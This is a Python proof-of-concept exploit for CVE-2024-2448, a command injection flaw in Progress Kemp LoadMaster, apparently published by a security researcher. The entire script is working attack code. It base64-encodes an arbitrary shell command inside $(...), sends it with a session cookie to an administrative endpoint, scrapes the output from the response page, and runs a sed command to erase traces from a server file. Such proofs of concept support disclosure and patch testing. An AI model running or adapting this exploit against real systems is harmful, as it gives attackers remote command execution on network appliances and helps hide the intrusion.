# Exploit for CVE-2024-2448: authenticated command injection in Progress Kemp LoadMaster
# Tested on: LoadMaster 7.2.59.2
# Author: Dave Yesland @daveysec with Rhino Security Labs

import argparse
import base64
import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the InsecureRequestWarning from urllib3
urllib3.disable_warnings(InsecureRequestWarning)


def get_headers(host, sessionid):
    return {
        'Cookie': f'SESSIONID={sessionid}',
        'Referer': f'{host}/progs/'
    }


def cleanup(cookie, host):
    cleanup_cmd = 'sed -i "s/.*blahblah.*//g" /tmp/rrd/hist_graphs.env'
    cleanup_cmd = f"$({cleanup_cmd})"
    encoded_cmd = base64.b64encode(cleanup_cmd.encode()).decode()
    url = f"{host}/progs/hg_cfg/add_rs/{encoded_cmd}"
    requests.get(url, headers=get_headers(host, cookie), verify=False)


def exec_command(cmd, cookie, host):
    cmd = f"$({cmd} 1>&2)"
    encoded_cmd = base64.b64encode(cmd.encode()).decode()
    url = f"{host}/progs/hg_cfg/add_rs/{encoded_cmd}"
    response = requests.get(url, headers=get_headers(host, cookie), verify=False)
    print(get_cmd_output(response.text))
    cleanup(cookie, host)


def get_cmd_output(html_content):
    start_tag = '<div id="_idb_" class="background">'
    end_tag = '<div id="DRS">'
    start_index = html_content.find(start_tag) + len(start_tag)
    end_index = html_content.find(end_tag, start_index)
    extracted_content = html_content[start_index:end_index].strip()
    return extracted_content


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', type=str, help='https://HOST:PORT', required=True)
    parser.add_argument('--cookie', type=str, help='Session cookie', required=True)
    parser.add_argument('--cmd', type=str, help='Command to execute', required=True)

    args = parser.parse_args()

    exec_command(args.cmd, args.cookie, args.url)


if __name__ == "__main__":
    main()
